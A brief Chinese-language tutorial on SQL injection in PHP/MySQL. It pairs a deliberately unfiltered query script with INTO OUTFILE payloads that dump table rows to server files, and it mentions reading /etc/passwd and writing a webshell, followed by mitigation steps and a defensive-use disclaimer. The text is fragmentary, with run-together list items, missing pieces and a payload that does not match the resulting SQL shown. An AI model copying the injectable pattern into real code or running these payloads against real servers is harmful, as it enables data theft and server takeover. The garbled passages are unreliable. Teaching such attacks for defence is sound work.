CREATE TABLE `article` (
`articleid` INT(11) NOT NULL AUTO_INCREMENT,
`title` VARCHAR(100) CHARSET utf8 NOT NULL DEFAULT '',
`content` TEXT CHARSET utf8 NOT NULL,
PRIMARY KEY (`articleid`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
<?php
$id = $_GET['id']; // 無任何過濾
$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
echo $row['title'] . '<br>' . $row['content'];
?>
訪問:showart.php?id=1' INTO OUTFILE '/tmp/sql.txt'%23
%23 = URL 編碼的 #,註釋掉後續單引號;/tmp/sql.txt 包含 id=1 的那行數據。Payload:id='' OR 1=1 INTO OUTFILE '/tmp/all.txt'%23
最終 SQL:
SELECT * FROM article WHERE articleid='' OR 1=1 INTO OUTFILE '/tmp/all.txt'#'
WHERE ... OR 1=1 恆真,等價於 SELECT * FROM article;INTO OUTFILE 將完整結果集寫入服務器文件系統;FILE 權限,且目標目錄可寫。information_schema);LOAD_FILE 讀取敏感文件(/etc/passwd);UNION SELECT 將任意查詢結果寫入 Web 目錄獲取 Webshell。FILE 權限:REVOKE FILE ON *.* FROM 'webuser'@'%';secure_file_priv 限制導入導出目錄;INTO OUTFILE、UNION SELECT 等高危關鍵字。警示:本文僅供安全研究與防禦教學,嚴禁用於非授權測試。